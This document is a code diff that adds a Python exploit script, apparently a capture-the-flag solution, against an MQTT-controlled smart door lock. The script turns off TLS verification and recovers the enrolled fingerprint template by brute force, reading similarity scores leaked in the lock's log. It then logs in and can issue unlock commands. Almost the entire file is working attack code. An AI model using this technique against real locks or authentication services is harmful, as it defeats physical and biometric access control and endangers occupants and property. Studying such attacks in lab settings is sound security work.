1
+ import paho .mqtt .client as mqtt
2
+ import json
3
+ import random
4
+ import string
5
+ import time
6
+ import ssl
7
+ from pwn import *
8
+ from threading import Event
9
+ correct_finger = [29 ,373307 ,1065735249 ,2909012772 ,1932386 ,2933 ,3462545 ,5692838 ,2601798933 ,3102258193 ,32207873 ,36167 ,1274411 ,31737324 ,3369724400 ,30220736 ,2479958049 ,5 ,3612650882 ,4088014656 ]
10
+ class SecureLockTester :
11
+ def __init__ (self ,
12
+ host = "localhost" ,
13
+ port = 8883 ,
14
+ ca_certs = "/etc/mosquitto/ca.crt" ,
15
+ insecure = True ):
16
+ self .host = host
17
+ self .port = port
18
+ self .ca_certs = ca_certs
19
+ self .insecure = insecure
20
+
21
+ self .client = mqtt .Client (protocol = mqtt .MQTTv311 )
22
+ self ._configure_tls ()
23
+
24
+ self .client .on_connect = self .on_connect
25
+ self .client .on_message = self .on_message
26
+
27
+ self .auth_token = None
28
+ self .session_id = None
29
+ self .response_event = Event ()
30
+ self .last_response = None
31
+ self .log_content = ""
32
+ self .log_changed = False
33
+
34
+ def _configure_tls (self ):
35
+ self .client .tls_set (
36
+ ca_certs = self .ca_certs ,
37
+ cert_reqs = ssl .CERT_REQUIRED ,
38
+ tls_version = ssl .PROTOCOL_TLSv1_2
39
+ )
40
+ if self .insecure :
41
+ self .client .tls_insecure_set (True )
42
+
43
+ def on_connect (self , client , userdata , flags , rc ):
44
+ print (f"status code: { rc } " )
45
+
46
+
47
+ def on_message (self , client , userdata , msg ):
48
+ topic = msg .topic
49
+ payload = msg .payload .decode ()
50
+ if topic == "logfile" :
51
+ self .log_content += payload
52
+ if "EOF" in payload and 'similarity' in self .log_content :
53
+ self .log_changed = True
54
+ self .response_event .set ()
55
+ elif topic == "re_" + self .auth_token :
56
+ if "login successed. session_id: " in payload :
57
+ self .session_id = payload .split ("session_id: " )[1 ].strip ()
58
+ self .response_event .set ()
59
+ elif self .session_id != None and topic == self .session_id :
60
+ self .last_response = payload
61
+ self .response_event .set ()
62
+
63
+ def wait_for_response (self , timeout = 100 ):
64
+ self .response_event .clear ()
65
+ received = self .response_event .wait (timeout )
66
+ if not received :
67
+ print ("response timeout" )
68
+ return received
69
+
70
+ def generate_auth_token (self ):
71
+ token = "aaaaaaaaaaaaaaaa"
72
+ self .auth_token = token
73
+ self .client .subscribe ("re_" + token )
74
+ self .client .publish ("auth_token" , token )
75
+ self .wait_for_response ()
76
+ print (f"auth_token: { token } " )
77
+
78
+
79
+ def login (self ,finger ):
80
+ buf_str = '[' + ',' .join ([str (num ) for num in finger ]) + ']'
81
+ self .client .publish (self .auth_token ,buf_str )
82
+ if self .wait_for_response ():
83
+ if self .session_id :
84
+ print (f"login successed. sessionID: { self .session_id } " )
85
+ self .client .subscribe (self .session_id )
86
+ return True
87
+ return False
88
+
89
+ def lock (self ):
90
+ return self .send_command ("lock_door" )
91
+ def unlock (self ):
92
+ return self .send_command ("unlock_door" )
93
+ def download_log (self ):
94
+ self .client .publish ("logger" , "download" )
95
+ return self .wait_for_response ()
96
+ def clear_log (self ):
97
+ self .client .publish ("logger" , "clear" )
98
+ return self .wait_for_response ()
99
+ def add_finger (self , finger ):
100
+ res = self .send_command ("add_finger" , [finger ])
101
+ if res and "new finger id:" in res :
102
+ return int (res .split ("new finger id:" )[1 ].strip ())
103
+ return - 1
104
+ def del_finger (self , finger_id ):
105
+ res = self .send_command ("remove_finger" , [finger_id ])
106
+ if res and "removed finger id:" in res :
107
+ return int (res .split ("removed finger id:" )[1 ].strip ())
108
+ return - 1
109
+ def edit_finger (self , finger_id , new_finger ):
110
+ res = self .send_command ("edit_finger" , [finger_id , new_finger ])
111
+ if res and "changed finger id:" in res :
112
+ return int (res .split ("changed finger id:" )[1 ].strip ())
113
+ return - 1
114
+
115
+ def send_command (self , command , args = None ):
116
+ if not self .session_id :
117
+ raise ValueError ("login first" )
118
+
119
+ cmd = {
120
+ "session" : self .session_id ,
121
+ "request" : command ,
122
+ "req_args" : args or []
123
+ }
124
+ json_cmd = b"{\" session\" :\" " + self .session_id .encode () + b"\" ,\" request\" :\" " + command .encode () + b"\" ,\" req_args\" :" + b"["
125
+ if args :
126
+ json_cmd += b'"' + args [0 ] + b'"'
127
+ if len (args ) > 1 :
128
+ json_cmd += b','
129
+ json_cmd += b'"' + args [1 ] + b'"'
130
+ json_cmd += b']' + b"}"
131
+ self .client .publish ("manager" , json_cmd )
132
+ print (f"sent cmd: { command } { json_cmd } " )
133
+
134
+ if self .wait_for_response ():
135
+ return self .last_response
136
+ return None
137
+
138
+ def test_secure_connection (self ):
139
+ try :
140
+ self .client .connect (self .host , self .port , 60 )
141
+ self .client .loop_start ()
142
+ time .sleep (1 )
143
+ print ("connected" )
144
+ return True
145
+ except Exception as e :
146
+ print (f"connection failed: { str (e )} " )
147
+ return False
148
+
149
+ def brute_fingerprint (self ):
150
+ correct = [0 ] * 20
151
+
152
+ max_sim = 0
153
+ for i in range (20 ):
154
+ cur_str = '[' + ',' .join ([str (num ) for num in correct ]) + ']'
155
+ min_sim = self .brute_test_finger (cur_str )
156
+ max_sim = min_sim
157
+ cur = 0
158
+ for round in range (8 ):
159
+ max_j = 0
160
+ for j in range (16 ):
161
+ new_cur = j << (28 - 4 * round ) | cur
162
+ correct [i ] = new_cur
163
+ buf_str = '[' + ',' .join ([str (num ) for num in correct ]) + ']'
164
+ new_sim = self .brute_test_finger (buf_str )
165
+ if new_sim > max_sim :
166
+ max_sim = new_sim
167
+ max_j = j
168
+ if max_sim - min_sim > 3.5 :
169
+ cur = max_j << (28 - 4 * round ) | cur
170
+ if max_sim - min_sim > 4.5 :
171
+ break
172
+ correct [i ] = cur
173
+
174
+ print (f"Position { i } found: { correct [i ]} " )
175
+ final_buf = correct
176
+ return final_buf
177
+
178
+
179
+ def brute_test_finger (self , buf ):
180
+ self .clear_log ()
181
+ self .client .publish (self .auth_token ,buf )
182
+ self .wait_for_response ()
183
+ self .download_log ()
184
+ while True :
185
+ if self .log_changed :
186
+ self .log_changed = False
187
+ break
188
+ res = self .log_content .split ("%" )[- 1 ].split ("\n " )[0 ]
189
+ print (res , buf )
190
+ self .log_content = ""
191
+ return float (res )
192
+
193
+ if __name__ == "__main__" :
194
+ tester = SecureLockTester (
195
+ host = "127.0.0.1" ,
196
+ port = 8883 ,
197
+ ca_certs = "src/ca.crt" ,
198
+ insecure = True
199
+ )
200
+ try :
201
+ if tester .test_secure_connection ():
202
+ tester .generate_auth_token ()
203
+ tester .client .subscribe ("logfile" )
204
+ sleep (1 )
205
+ fingerprint = tester .brute_fingerprint ()
206
+ print ("Correct fingerprint:" , fingerprint )
207
+ tester .login (fingerprint )
208
+
209
+ finally :
210
+ tester .client .loop_stop ()
211
+ tester .client .disconnect ()
0 commit comments